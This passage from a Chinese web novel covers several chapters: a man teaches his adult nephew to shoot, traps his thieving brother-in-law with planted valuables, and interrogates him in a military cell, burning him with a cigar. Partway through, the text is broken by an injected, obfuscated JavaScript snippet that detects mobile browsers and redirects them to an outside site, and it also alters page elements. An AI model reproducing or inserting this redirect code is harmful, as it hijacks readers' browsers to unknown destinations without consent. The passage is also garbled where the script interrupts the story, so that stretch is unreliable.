奈何傅家狗眼看人低,选了有才华的女婿后又奢望女婿有权势,日日不给他好脸色,这才导致他郁气烦闷无心学问,连奉城大学的职位都考不上。 这些年来傅家会固定给大房月钱,傅云珠会将大部分月钱给他做花销,其他日常费用和儿子的用度都由傅云珠私房顶上。 落到辛笃学手里的这些钱,自是分了许多给秦夕母子做零花,再加上秦夕自己的私产,应当是还算有些家资的,但这些远远不够。 还能从哪儿弄到钱呢? - 宁雅公馆。 绿草如茵的花园里支上了几个枪靶,傅承轩正在教傅念斐认枪、用枪。 傅念斐看着令人眼花缭乱的枪杆子咂舌:“这么多啊……舅舅你都不打仗了,在家里藏这么多枪干什么?” 傅家主也有几把枪,那是外出行商时用来保命用的,有钱人家大多都有。不过傅家主本人格外惜命,他隔三差五便会拿出这些武器擦一擦、保养保养,却从不提外出行商。 他认为君子不立危墙之下,这才是真正的保命之道,多年前那次游轮倾覆,已经耗尽他有生之年的全部勇气了。 傅念斐对武器很好奇,他说完便伸手去摸一个圆墩墩的东西,嘴上还问:“这 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“瞎胡说。”傅承轩唇角微弯,话音刚落便抬手侧头扣动扳机,砰砰两声,那双灰蓝色的眸子遥望远处枪靶微微眯起,像盯住猎物的雄鹰。 箭靶附近传来宁小六笑嘻嘻的声音:“正中靶心!” 傅念斐眼睛张大,心脏怦怦跳,他注视着眼前威势逼人的小舅舅,感觉刚刚那两枪好像射的不是靶心,而是自己的心脏。 “过来。”傅承轩叫他。 傅念斐眼巴巴过去,盯着傅承轩看。 傅承轩瞥他一眼,忍笑问:“看我做什么?看枪。” “哦哦!”傅念斐回神,脸红得不行,连忙接过枪收敛心神,试图复刻舅舅适才的雄姿。 没成想下一秒,傅承轩紧贴在他身后,左手按在傅念斐腰侧,右手托住他握枪的手腕,附耳轻问:“小念斐,是舅舅好看呢,还是柳班主好看?” 啊…… 要死了。 “舅、舅舅好看!”傅念斐的脸像个大红灯笼。 “真的?”傅承轩唇角含笑,指尖从小外甥肚脐处向上,滑至胸膛,拍了两下,“收腹挺胸,别缩脖子。” 傅念斐抖了一下,抿唇:“嗯。” 声音都在颤。 傅承轩瞥着小外甥犹在颤抖的睫毛侧面,从这一刻起,他意识到自己变贪婪了。 当饥饿的人距离佳肴十里地,他只能想象。当距离缩成十丈远,他会变得渴望。可当距离变成近在咫尺时,理智会被贪婪取代,他只想抢…… 既然不容他人染指。 那还装什么大方? 傅承轩突然笑出声:“你先拿这把枪练几天,过段时间我送你个别的。” 他说这话的时候语气缱绻,带有别样笑意,只可惜傅念斐整幅心神都被身后的热度夺走,并未察觉其中有什么特殊。 “哦……”他说。 小舅舅身上真暖和,他想。 23.23-很甜 傅承轩的性格向来是既然要学枪,就必须勤练不怠。傅念斐勤学苦练的个性跟他小舅舅如出一辙,否则也不会奔着大学教授这样的职位去了。 开学前的这段时日,傅念斐几乎每日都在练习,可用枪很难,他这种没学过武的文弱书生即便把手腕震断,仍打不准。 傅念斐很气馁。 傅承轩却不以为然,只是笑笑:“你才练几天,就想当神枪手了?” 傅念斐蔫蔫道:“……没想当神枪手,但至少得打中吧,我这是浪费子弹呢。” 宁小六噗嗤一乐。 傅念斐更气馁了。 傅承轩忍笑,轻咳一声:“打不准也不要紧,会用就行。拿着枪能放出响来,这对敌人来说就是威慑。当你举起枪对准别人脑袋的时候,没人知道你打不准,只要他们忌惮,就可以成为你谈判的条件。” 傅念斐似懂非懂,他没亲身经历过这些,只觉得有道理,却一时想不出具体情境。 然而傅承轩说完便揉揉小外甥脑袋,往对方嘴里塞了颗刚剥好的荔枝:“歇会儿,当心手腕疼。” 他边说边握着傅念斐手腕揉捏,青年瘦削的手腕在他掌心像一截温润的玉,被他揉捏出淡淡粉色,有种带着欲/色的美。 傅念斐心旌摇曳,因练枪而出的薄汗仿佛更重了些,眼神闪烁:“舅舅,你也吃荔枝。” 他拿起一颗荔枝塞进傅承轩嘴里,指腹状似无意实则故意地揉过对方下唇,然后将那根沾染过温热的指尖偷偷紧握在掌心:“……好吃吗?” 傅承轩一顿,轻笑:“嗯,很甜。” 傅念斐哑了。 院内阳光炽烈,唯遮阳伞下那一小方天地是旁人无法窥伺的安宁。站在不远处的宁小六莫名一哆嗦,觉着自己在此处久站很多余。 “东家。” 宁老八的声音突然从院外传来,他小步快跑,对傅承轩附耳道,“那位来消息了,他很谨慎,说不想在宁雅公馆见面,改约您去酒楼金桂包厢。” “嗯,走吧。”傅承轩含着荔枝点头,舌尖下意识舔过下唇。 傅念斐呼吸一滞。 良久,直到傅承轩的背影彻底消失在他视野里,站在原地的傅念斐才终于鼓起勇气,伸出指尖,往自己唇上印了下去…… 指腹温润,热度犹存。 傅念斐心道:真想做那颗荔枝。 - 永福楼不是奉城最时兴的酒楼,也不像奉城大饭店那样名流云集,动不动就举办豪奢宴席。 可它却是全奉城最风雅的酒楼,保密性好,那些不喜杂人打扰的实业家、银行家们,时常在这里宴请宾客。 傅承轩独自一人踏进金桂包厢,包厢里的人也是独自一人等他。两人刚一打照面,便已各自将对方浑身上下扫视了一番,互守承诺,却也警惕。 傅承轩朝对方微微一笑,踏进屋内正待说话,可下一瞬他却挑起眉头:“二当家,您在地板下面埋礼物迎接我了?” 若是地雷,触之即炸,对方也不能幸免,若不是…… 傅承轩了悟:“地道?” 二当家赞叹大笑:“的确是地道,这是我给宁少帅的合作诚意,只是不知道少帅您的合作诚意有多少。” 傅承轩踩着那片回响特殊的地板,在桌旁从容坐下:“二当家是军人出身,应当知道宁军最重信用。若无诚意,我也不必亲自来。” 二当家思索片刻,释然:“也是,以你的本事何至于跟我这种人虚与委蛇,你愿意跟我合作,无非是希望少死几个宁军的兵,不波及奉城无辜百姓,我懂……你说的事儿,我同意。” 他从胸口处摸索一阵儿,掏出一张地图:“奉城地道匪帮只知晓一半,另一半,要靠你自己了。” 傅承轩接过地图,上面纵横如枝杈的线路令他心惊。 只一半都这么多,若是里面藏有军用物资和水源,还不知得养多少赵军余孽。硬逼穷寇怕是会激起鱼死网破,少不了伤及无辜。 果然,不能蛮搜硬闯,只能引蛇出洞…… - 另一边,正急三火四筹谋奔逃的辛笃学还在操心筹钱的事。 因有傅家托底,他一直无甚资产,过得都是享受一天是一天的日子,反正每次手头一紧,随便找个由头跟傅云珠提上两句,对方就能拿出几百银元。 可如今他是真缺钱了,傅云珠的遗物又都在傅念斐那不孝崽子手里,自己还能上哪儿筹钱呢? 他急得团团转,突然一拍脑门。 对,报社。 傅家在报社可是有股份的。 辛笃学刚想清楚这点便等不及了,马不停蹄来到报社,也顾不得自己脱落的门牙和面上的瘀痕,一进门就说要找廉睿兄。 李廉睿,傅家主口中日日社交的大少爷,跟辛笃学合办报社的人之一。 他交际广、□□请,可傅家主不清楚,他跟纯粹玩乐天天宿在女人堆儿里的傅承闲不同,李廉睿还是很想做一番事业的,否则也不会同意报纸首期便出跟宁大帅有关的主题。 毕竟这种选题,做好了让人眼红,做不好可招灾惹祸。 “廉睿兄呢?” 辛笃学进门便用手帕捂着侧脸,说话也含混不清,负责看门的少年差点儿没认出他。 “哦哦,是辛主编呐。”看门少年坐回椅子上重新盘腿,“他去赴宴了。” “又去赴宴了?他说什么时候回来没有?”辛笃学忙问,“那建安兄和屏晚兄呢?” 少年嚼着花生米道:“都不在,他们也去赴宴了。” 辛笃学这回真愣了:“都去赴宴?他们俩每日写作、校对……许多事要做,从来不去赴宴的,怎地也去了?” 少年:“呃……我说不明白,但好像是你们那个文章,有一位什么杜会长很看重,说是设宴邀请他们商讨,所以全去了。” “杜会长?!”辛笃学面色一变,他心中隐有预感,却还是忍不住问,“我也是报社负责人之一,这事儿这么重要怎么没人通知我?” 少年茫然:“哦,你说的有道理,可听说邀请函上没你……算了,等他们回来你自己问吧。” 辛笃学气得眼前一黑。 正在此时,门外嘻嘻哈哈传来一阵喧闹,辛笃学离老远就听到李廉睿的大嗓门:“这事儿真是赶巧了,没想到杜会长也想办报发文章。” 赵屏晚:“杜会长见识广博,刚提的几个主题都很好,咱们后续的报纸主题没准儿真能用上。” 何建安:“等主题纲要列出来,要是能让杜会长帮忙参看参看更好。” 三个人,都是报社的核心创办者,语 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因此辛笃学闻言立刻头晕眼花,气得心脏突跳,他不用细想都知道这是谁的手笔,傅承轩,简直哪里都有他的影子!这是要逼死他吗?!就为了傅念斐那个小崽子? 不过是舅甥,还不是亲的!他是不是有病! 李廉睿看他面色愤慨,连忙道:“笃学兄别误会,我们没有让你离开的意思。傅家的资金和你是两回事,即使傅家资金不在,你也可以继续跟我们做事业,而且我们还没答应杜会长,可以商量,咱们好好商量。” 做事业做事业,做什么事业? 辛笃学暗骂:让我写文章吗?! “放屁!”辛笃学噌地站起身,“宴会你就没叫我,后面的选题你们不是也定了么,还商量什么!你们这些伪君子!忘恩负义的小人!” 何建安眉头一皱心直口快:“笃学兄,也不怕你知道,邀请函上根本没你名字。再说选题,那是杜会长随口给我们的建议!人家见多识广了解时局,随便指点几句就顶我们挠头整日,能用好用我为何不用?” 辛笃学:“借口!狡辩!” 两人七嘴八舌吵了起来,另外两人在旁边劝解。一屋四人,三个是书生,却吵出了上阵杀敌的架势。 辛笃学满心愤恨心有不甘,可拿钱走人才是当务之急,命和理比,前者于他才是重中之重:“把傅家的资金还我!我不干了!我辛笃学不屑与你们这等谄媚攀附之辈为伍!” 没过多久,他抱着一小箱银元扬长而去,彻底退出报社经营。 辛笃学一手抱钱一手捂脸,他愤怒,自己明明是报社创始者之一,却要被排除,只因为杜会长要参与!这有失公道!有失正义!有失道理! 可偏偏他脊梁骨不够硬,所以如今遇到不公道、不正义,虽说想拼命反抗一番,却不得不瞻前顾后、揣度形势。 形势大于人,公道不抵命。 筹钱奔逃才是要紧事。 钱,他要钱。 辛笃学抱着钱箱,继续在心里痛骂世道、痛骂人心、满脸不忿、一身不服,唯独将钱箱抱得紧紧的,半分没有放松。 这点钱还不够,等回傅家,他要去傅念斐的房间里翻翻,傅承轩那家伙连镶了宝石的金表都愿意给傅念斐,肯定还有别的值钱东西。 24.24-审问 事情不负辛笃学所望,他果然在傅念斐床底下找到一个带锁箱子,箱子是檀木的,看上去灰扑扑不起眼,实际沉重极了,辛笃学登时眼前一亮。 他又费了好大力气才在傅念斐的书箱中才翻出一把小钥匙,打开箱子的那一刻,辛笃学更是差点背过气去。 啊,真是个孩子…… 这满满一箱子银元珠宝、金条玉石、房契股票,竟然就这么放在床底下落了一层灰!真是暴殄天物! 怪不得岳父总关心傅云珠遗产的下落,发财了……这可……这可真是……发财了。 辛笃学毫不怀疑,他觉得这肯定是傅云珠的遗产,傅承轩给傅念斐那小家伙几个金表玉牌玩玩也就罢了,怎么可能给他这么多东西…… 传闻傅云珠生母当年十里红妆嫁进傅家,没想到嫁妆放了这么多年还剩这么多,怪不得傅云珠手头就没紧过。 两个沉甸甸的箱子落在一起,一个是妻子遗产,一个是岳丈股资,这事儿被发现了可不得了,辛笃学逃亡之心更重,他索性将所有东西一股脑倒进往日出游的皮箱,挂好锁头,直奔秦夕家而去。 “姑爷这是,出门?”傅家佣人疑虑,“家主说过几天让我们帮您搬家来着……您打算什么时候回来?” 辛笃学心中有气,干笑一声:“呵呵,放心吧,不出游,报社事务繁忙,我索性搬去那里住,你们也不用找房子了,过几天我自己叫人回来搬东西。” 佣人乐得省事:“好好,姑爷慢走。” 辛笃学:哼!狗眼看人低!你这种人,就算做一辈子佣人,薪金都不及我手中所提的万一! 他鬼鬼祟祟来到秦夕家门口的时候,秦夕刚哄完秦扬业睡午觉,自己也正打算合眼。 辛笃学站在门口左顾右盼,确定无人注意他,这才当当当敲门。 屋里传来一声烦闷的“谁呀?”,随后吱嘎一声开门,秦夕眉心微蹙:“是你啊……” 她看着辛笃学这幅青头肿脸、说话漏风的模样,实在是兴趣寥寥,便推脱:“我月事来了,不方便。” 辛笃学压低嗓音:“谁找你干这个!钱筹得如何了?医馆退租没有?” 秦夕打了个哈欠:“哪儿那么快……笃学,我劝你歇歇吧,这事儿应当没你想的那么严重。我当时就是一是害怕才给你打了电话,现在想想,念斐他外祖父、二舅舅哪个不是女人一堆?他估计早习惯了。” 那孩子是二十,又不是十二。 二十岁已然情窦初开,没准都跟学校的女同学食过禁果了也说不定。 既然如此,就该知道男人都是一个样子。 人言常道「苟且偷生」,但凡有一线生机能安稳度日,谁想颠沛流离到处跑?她已跑过一次了,可不想再跑第二次。 辛笃学没吱声,进屋锁门,把沉重的箱子咣当往桌上一撂。 秦夕吓一跳:“天,什么东西,你拎石头了?” 辛笃学绷着脸打开箱子,珠光宝气黄金银元,登时炫了秦夕一个满眼花:“这、这是……你抢银行去了?!” 她嘴上这么说,眼中却满是异彩,唇角也不自觉露出惊喜的笑纹。 辛笃学沉声道:“秦夕,这话我可只说一次,时间来不及了,钱有的是。你若是走,就尽快收拾东西,你若是不走……那我就不等你了。” 这话绝情,但秦夕没吵没闹,她抓起箱子里的珍珠项链和金条紧紧攥在手心,天人交战片刻才笃定道:“走,我带着扬业跟你走。” 她另有选择没错,可那人再有钱也不是她的。眼前这箱东西,却是她实实在在能抱在手里的…… 既然是逃,就得快,一分钟都不能耽搁。 有这箱银钱托底,秦夕的医馆索性也不退租了。她简单收拾些首饰细软,抱起正睡得迷迷糊糊的秦扬业,便跟着辛笃学坐上了黄包车。 “娘……我们这是干嘛去?” 秦扬业仍带着睡意的眼睛看到辛笃学,小孩子皱皱眉,移开眼睛视若无睹,并不和对方问好。 秦夕低声道:“咱们出趟远门,玩儿去,坐豪华游轮,吃西餐喝果汁,好不好?” 秦扬业开心了:“好!” “嘘……扬业千万记得,这一路上少说话,这次出去玩多亏辛叔叔的朋友帮忙,咱们能免费去,要是被人发现咱们就去不了了,知道吗?” “哦。” 辛笃学无心关注秦夕那些哄小孩儿的说辞,只一心紧紧抱着箱子里的“后路和余生”,黄包车刚一停下他便跳下来说了句:“快走!” 然后直奔渡轮售票处而去。 辛笃学心急如焚大步开合,秦夕抱着孩子咬牙追他,她平日里穿惯了修身旗袍和高跟鞋,走起路来也习惯了慢慢悠悠、婀娜多姿,如今才想起来,这样动人的打扮是不适合奔波吃苦的。 票买好了。 秦夕头发也乱了,甚至差点扭了脚。 她“风尘仆仆”站在原地,一双美目直勾勾盯着辛笃学,莫名有些阴森意味:“跑那么快干什么?不知道等等我么?我还抱着孩子呢。” 辛笃学蹙眉打量她,从看着就不便行走的高跟鞋,到开口紧窄的旗袍裙摆,张口就是埋怨:“你就该换一身,真不知道穿这种不方便的东西做什么,自己找罪受……算了算了,懒得跟你讲道理,票买好了,还有半小时开船,走吧,上船再休息。” 这回不用跟着跑了,秦夕放下秦扬业让孩子自己走,她重新挽好头发,强忍着脚痛才不至于一瘸一拐跟着,看上去仍是那个身段婀娜的秦小姐。 看在那箱子的份儿上,秦夕心想。 然而异变发生在排队登船的时候,一群城防士兵突然出现在渡轮附近,嘴里嚷嚷:“例行检查!城防军线报失窃,贼人正在潜逃,辛苦各位配合我们调查。” 城防军线报失窃?怎么偏赶上这档子事儿,辛笃学蹙眉。 “拎的什么?不会是赃物吧?”一个士兵也不知从哪儿冒出来,突然拿军棍敲敲辛笃学的皮箱,笑问。 辛笃学额角冒汗:“这位长官您别开玩笑了,我一个读书人,怎么可能做贼呢?就算真做贼,也不敢偷城防军的东西啊。” “诶,话不能这么说。”士兵乐了,“在我们眼里没有读书人,只有该抓的和不该抓的两种。” 说完,他眼神一锐:“箱子打开。” 围观的人越来越多,有人开始瞧辛笃学眼熟。辛笃学下意识压低帽檐,眼神慌乱。 秦夕暗骂他不成器,立刻上前对士兵可怜兮兮道:“长官,里面的确没赃物,都是我和孩子的东西,丝袜里衣什么的……当众打开让大家看,我也别活了。” 只可惜今日这士兵不懂何为怜香惜玉,他朝秦夕微微一笑:“行,那就去车上开箱,只给我们头儿检查,不给旁人看。” 他伸手往人群外一指,众人这才看到码头上还停了辆深黑色的林肯轿车,车辆外围站了两排士兵守着,威武冷肃,令人不敢直视。 辛笃学此时还想着或许能有贿赂这一条路,毕竟二太太的亲哥是警察局长,对方就没少从匪盗手中抽油水。 然而车窗缓缓下落,一张辛笃学最讨厌、也最不想在此时看见的俊脸缓缓露了出来——是傅承轩。 对方面无表情,眼神冷峻淡漠,刚朝轿车旁的士兵一侧脸,那士兵便立刻屁颠屁颠过去,躬身聆听。 不知傅承轩说了什么,士兵点点头,抬手朝这边挥了一下…… 辛笃学瞪大眼睛,满脸不可置信,疯了……真是疯了……那家伙什么时候成城防军的长官了?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16354956|182603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 对,不可能!他急中生智,猛地大喊:“哦!你们官商勾结!城防军收受贿赂冤枉好人!你说我偷了线报你有什么证据!你不能无凭无据抓人!大家都看着你!” 他箱子里都是财物,即便开箱检查引人垂涎,也正好做实城防军为财诬陷的名声。 “证据是吧?” 没成想士兵一棍砸在他拎箱子的手上,辛笃学瞬间哀嚎,箱子脱手,一声枪响锁头崩开,周围人吓得大退三步,又因箱子里的珠光宝气低声惊呼,士兵挽起袖子,从巷子里拿出一个水头极佳的玉牌。 玉牌四周的包金被撬开,士兵从里面抽出一张薄如蝉翼的纸,展开给众人:“大家看到了?” 纸上有密密麻麻的小字,周围人看不清,但上面盖着城防军的印信,门楼街角的告示牌上日日可见,就连印信角落的缺口都全然一致。 线报。 定是线报。 在场的都是人证,这张纸便是物证,齐了。 “抓起来,女人和孩子也带走。”士兵抱起箱子,握着枪,整队城防军身上都是尸山血海杀出来的血气,和普通警察可不一样。 围观人等下意识胆寒,竟无一人敢多看这箱珠宝,更别说替辛笃学分辩。 辛笃学瞬间瘫倒在地。 心道完了…… 远处傅承轩轻笑一声,升起车窗。 蠢货。 - 如今奉城的警局和城防军不是一伙的。 警局是汪局长说的算,他最近忙,正托人四处打探,想知道宁大帅和宁少帅什么时候过来,好提前筹备接待。 城防军则是宁军的人,他们刚入驻奉城,从士兵到军官皆不参与宴请会面,只悄无声息日日巡逻,没做过什么很扎眼的事,像一捧水,自然而然融入奉城这片湖泊里……唯一关注的,就是赵军余孽。 为招待赵军余孽,城防军的自用刑讯室甚至扩建了,锋利的刑具一字排开,从墙面铺到桌面,件件沾着未擦的血迹。 辛笃学和秦夕此生头一次进刑讯室,被面对面捆在刑讯桩上,这里阴森、可怖、四处污渍,屋里弥漫着血腥气和某种不可言说的臭味,或许是尸臭……总之,即便在夏季都满室阴寒,令人忍不住瑟瑟发抖。 辛笃学抖个不停,秦夕却快疯了,她大喊:“我孩子呢!你们把我儿子弄哪儿去了!孩子呢!辛笃学你个蠢货!我就说你怎么突然有这么多钱,偷东西!还是城防军的东西!你是活腻了吧你!” 辛笃学兀自抖如糠筛,可对女人发脾气他尚有余力,也正好用来发泄心中恐惧:“你闭嘴!你这疯女人!简直胡说八道!” 两人对骂半晌,力气减弱。 此时门外骤然响起几道整齐的军靴咔哒声,显得混在其中的皮鞋脚步声愈发从容不迫。 刑讯室大门打开,两个士兵率先进屋,一个端着辛笃学珠光宝气的皮箱,另一个拿着热气腾腾的茶杯。 最后面,竟是西装革履的傅承轩。 辛笃学恨恨:“你倒是真有本事,看来有钱能使鬼推磨,城防军如今都听你使唤了!哈!官商勾结!恬不知耻!” 秦夕没见过傅承轩,不知道他是什么人,她神情慌张,竭力恳求道:“这位长官,请问我的孩子呢?他年纪小怕惊吓,求您开恩。” “孩子还在。”傅承轩淡淡道,“目前。” 这话太吓人,秦夕一下子就吓住了,半句话都说不出,只能愣愣地看着对方慢悠悠点燃手中的雪茄。 傅承轩其实几乎不抽烟,也从来不爱喝酒,可今日他却还是点燃一根雪茄。烟草氤氲的雾气在刑讯室内腾绕,竟成为一片血腥污浊气中唯一好闻的味道。 他含住雪茄,吐出一口雾气:“说吧,是谁给我姐姐下毒。” 25.25-装睡 傅承轩此话一出,刑讯室内一片寂静,就连辛笃学都愣了一愣:“下毒?你、你什么意思?” “你不知道吗?”傅承轩问,“云珠姐是让人毒死的。” 他当然知道毒不是这俩人下的,可刑讯就是这样,甭管是不是你做的,都要诈一诈,你怕了,就能吐出更多东西。 没等那两人反应过来,傅承轩又道:“我这人记仇,有仇必报,但也不会冤枉好人。今日你们畅所欲言,自洗嫌疑也好、互相揭发也罢,你们说,我听着,等时间一到,谁生谁死我自有分辨。那就……一小时吧。” 他话音刚落,一直跟在后面的宁小六就拿出一个小钟表,摆在桌上。表盘表针黑白分明,在寂静的室内咔哒咔哒走起,简直像黑白无常勾魂的倒计时。 辛笃学大骇:“你敢!” 傅承轩一笑:“哦?我有什么不敢?” 宁小六也是促狭,专挑此时用不大不小恰好所有人都能听到的声音道:“少帅,那我们先出去了?” “嗯。” 少帅。 现在整个奉城,唯有一人能当得起这二字,那就是宁大帅的儿子——宁佑霆。 “你、你你你……你是……!”辛笃学的眼珠子都要掉出来了,简直不可置信,可事实摆在眼前根本不容辩驳,谁敢在城防军刑讯室假扮宁少帅的名号! 秦夕同样胆寒心惊,她当然知道辛笃学和傅承闲的过往龃龉,也清楚越是这样,她越该跟辛笃学划清界限,毕竟下毒的的确不是她,是不是辛笃学就不一定了。 想清楚这一点,秦夕断然将对方抛在脑后,比下了黄包车就将她抛在身后的辛笃学还要利落:“少帅!毒不是我下的,您可千万要信我,若我真要杀人,何必等念斐和扬业都这个年纪了才下手,没道理啊!再说了,我根本没理由杀傅云珠!既然您是少帅,应当已查清楚了吧?扬业根本就不是辛笃学的儿子!” 什、什…… 辛笃学一口老血哽在喉咙:“疯女人!你为了撇清关系竟然——!” 傅承轩点点头:“有所耳闻,孩子是傅承闲的?” 辛笃学大叫一声,目眦欲裂近乎破音:“谁——??” 然而就连傅承轩都没想到,秦夕迟疑片刻道:“我不骗您,其实我也不知道孩子是谁的,但总归不是辛笃学的。” “……”傅承轩吐了个烟圈,没说话。 话一开头,就更没有隐瞒的必要了,秦夕年纪渐长,有些事分外想得开:“您应该查过吧?我在津城老家名声就不好。我丈夫是当兵的,跟我成亲没几天就去打仗,几年不回来。后来好不容易回来了,不仅腿没了,那玩意儿连带着病了,害的我只能守活寡。守几年还行,可要是继续守一辈子,我可受不住,于是我私下有了男人。也是倒霉,跟这次一样被发现了,我丈夫气得跳井,没救活,他父母把我赶回娘家,我娘家觉得没脸不要我,就这样我才奔波流连来到奉城。” 秦夕刚到奉城的时候没什么钱,就去庙里做义工吃素斋,因此才巧遇傅云珠。只是她没想到,傅云珠的丈夫竟然是辛笃学。 秦夕当年在奉城读过几个月学堂,讲师正是辛笃学,彼时的辛笃学年纪轻轻风华正茂,长了一张斯文俊秀的脸,开口之乎者也,在她这种没什么见识的女学生心中已经是顶有学问的人。 就这样,两人私下勾连在一起,暗通款曲。 后面的事就更俗套了,秦夕常在傅家往来,邂逅留洋归来的傅承闲,这才是真正出手阔绰又会哄人的大少爷。没多久,她当初在津城的相好来奉城行商,两人偶遇,也旧情复燃过一阵儿…… 三个男人,秦夕很忙。 甚至她涨了见识之后,愈发觉得辛笃学没什么意思,要不是他每月给她塞钱,她才懒得继续。 辛笃学满眼红血丝:“婊子!臭婊子!你凭什么说秦扬业不是我儿子!” 秦夕瞥他:“我算着日子呢,当然知道,那段时间你出门做学问了根本不在奉城……我跟你说早产你就信,也是实诚。” 辛笃学崩溃大叫,骂得很难听。 秦夕同样不甘示弱,什么剜心说什么。 事情不出傅承轩所料,秦夕很精明,她跟傅云珠说自己怀的是傅承闲的孩子,跟傅承闲也这么说。 二房的事情傅云珠不好管,怜悯秦夕自己带孩子辛苦,就私下里给对方塞钱。秦夕自此每月五份儿进项,傅云珠给的、傅承闲给的、辛笃学给的、傅家女眷需要号脉会给诊金、她自己还有个医馆……杀傅云珠干什么? 若不是辛笃学这箱宝贝让她迷了眼,又的确隐忧傅家报复,她才不走呢。 至于辛笃学,他是傅家赘婿,逃亡的钱都要现凑,傅云珠死后他就更要看傅家脸色了,杀妻于他而言百害无一利。 但是辛笃学有句话倒是有意思,他说“傅云珠和她娘一样生完孩子身体就不好,产后多病,骤然离世实属正常”。 ……二姨太是哪年进门的来着? 傅承轩思索良久,在满室污言秽语中起身,踱步至辛笃学面前。 辛笃学的嘴一下就闭上了,神色惊恐,丝毫不敢直视傅承轩。 傅承轩:“姐夫。” 对方快十年没叫过自己姐夫了,辛笃学差点吓死! 下一秒,傅承轩淡淡道:“姐夫,你脑子不清醒,偷盗军事机密公家财物,按理来说应该枪毙……” 辛笃学骇然:“我没有,我没有……” 傅承轩弯起唇角:“你有没有不重要,重要的是我想不想枪毙你。不然怎么就这么凑巧,偏让你这时候找到那个箱子,嗯?” 这步棋从知晓傅念斐挨打那天就布下了,箱子是宁小六放的,辛笃学若是不偷,自然扯不上这么个值得枪毙的罪名。 辛笃学闻言脊背冰寒,不自觉地开始打冷战,他此时才意识到,眼前的傅承轩已经不是那个寄人篱下的孩子了……他是恶魔,也真的会杀人。 “放心,不杀你,我可不想让念斐为难。”傅承轩微微一笑,将手中即将燃尽的雪茄按上辛笃学颈侧—— “啊啊啊啊!”辛笃学奋力挣扎,可滚烫的雪茄却依旧死死贴在他脖子上,如跗骨之蛆,直到傅承轩撒手。 傅承轩低声警告:“姐夫,既然决定入赘傅家,做我姐姐的夫婿,那就生是我姐姐的人,死是我姐姐的鬼。你这张脸我姐姐怕是喜欢的,我不动,但你太不安分,我还是得给你留点儿印,才好叫你永远记得今天。这几日我忙,你就安心在城防狱住着,知 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负责送东西的傅家佣人笑呵呵道:“念斐小少爷,家主说父子俩能重修旧好最好了,不该有隔夜仇,姑爷跟小少爷多住几天挺好,不着急回去,再回家还是一家人。” 这话既是说给傅念斐听也是说给傅承轩听,只可惜傅承轩不在场,沦落个说者自有深意、听者鸭子听雷。 傅念斐面上不露,接过对方手中的请柬:“嗯嗯,外祖父说得对。” 傅家佣人自觉任务完成,也不关心辛姑爷醉的怎么样,拿着赏钱便走了。 送东西的人一走,傅念斐愈发觉得不对劲,他心说小舅舅今天回得尤其晚,小六和老八也都不在,肯定是有重要的事。 还有这些东西,傅家为什么会觉得我爹在宁雅公馆呢?这种借口我爹自己肯定是不会用,那就只能是小舅舅干的……到底出了什么事? 他嘱咐婆子把东西收好,趴在床上思来想去许久,想给舅舅打电话问,又怕耽误对方的要事,这一犹豫就是一两个小时,直到走廊传来熟悉的脚步声,卧室门把手发出响动。 傅念斐自己都不知自己怎么想的,他非但没起身,反倒猛地闭上眼睛。 除了傅承轩,没人会在傅念斐睡着时进门。从眼睛闭上那一刻起,装睡的事便木已成舟,傅念斐只能强装镇定,维持呼吸平稳。 可他心虚,指尖发热嘴唇也发痒,仿佛从傅承轩嘴上偷来的荔枝吻真要降临了似的。 傅承轩缓缓坐在床边,轻抚小外甥柔软的发丝,手掌靠近的瞬间温度近在咫尺,傅念斐心如擂鼓,睫毛一颤, 傅承轩:“……” 他偏头,忍不住勾唇。 下一秒,傅承轩捏住傅念斐的鼻子,挑眉盯着对方看,等待猎物自己投降。不到一分钟,猎物就忍不住了,瞪大眼睛喘气。 傅承轩笑出声:“不装睡了?” 傅念斐郁闷:“睡着的也要被憋醒……” “是么?”傅承轩好笑道,“真睡着的人可憋不了你这么久。” 傅念斐语塞,一下子没话说了,论招数,果然还是小舅舅多些…… 26.26-洗澡 傅承轩屈指弹向傅念斐额头:“这么晚不睡还装样子,怎么,存心想吓唬我?” “没有……”傅念斐捂住额头,眼神闪烁,硬逼着自己不要去看小舅舅的嘴唇。 傅承轩顿觉不对,眉梢轻挑:“有事儿瞒我?” 有的,多着呢。 傅念斐心想。 傅念斐:“……我哪敢有事瞒舅舅,是傅家的佣人刚才来了,送来三房那边周岁宴的请柬,和我爹的衣服日用品。” 他把刚才傅家佣人的话说了,边说边观察傅承轩的表情。 果然,小舅舅半分惊讶都没有,这事儿果然和他有关。 傅承轩听完点点头:“嗯,知道了,东西先放着吧,他现在用不上。” 傅念斐:用不上? 傅承轩说完这些也没继续解释,他打开邀请函,看着上面的「承轩三爷」几个字忍不住想笑。 按理来说,傅承轩“失踪”已久又早已被打出傅家,这周岁宴的主角傅承祖才应当是真正的傅家三爷,傅家的所有邀请函也早这么写好了。 可如今傅承轩回来了,傅家主又指着他跟傅家共度难关,便特地请人把所有请帖重新印刷书写了一遍,还把傅承轩改成三爷,把刚满周岁的傅承祖改成四爷。 这手脚也是够麻利的。 傅承轩撂下邀请函,抬眼便见小外甥正格外专注地看着自己,那双会说话的眼睛在台灯的暗光下似乎更显晶亮,像两只漂亮的猫眼。 “想问什么?”傅承轩知晓对方聪慧,肯定已经猜到什么了,便静等他问。 没想到傅念斐没直接问辛笃学的事。 傅念斐:“周岁宴你去吗?” 傅承轩:“去。” 傅念斐:“哦,舅舅去我也去……你今天是不是很忙?” 傅承轩:“嗯。” 傅念斐:“怪不得这么晚才回来,我等你等得都要睡着了。” 傅承轩笑:“不是装睡么?” 傅念斐脸红:“我说的是在这之前。我当时躺着等你,迷迷糊糊都要睡着了,下楼接请柬的时候才缓过来。” 傅承轩皱眉:“他们吵你睡觉了?以后宁雅公馆九点半宵禁,外人不许进门。” 傅念斐:…… 在傅念斐的预演里,小舅舅该问他“你等我做什么”,自己就顺势接一句“等你一起睡”……也不知怎么回事,拐到宵禁上了。 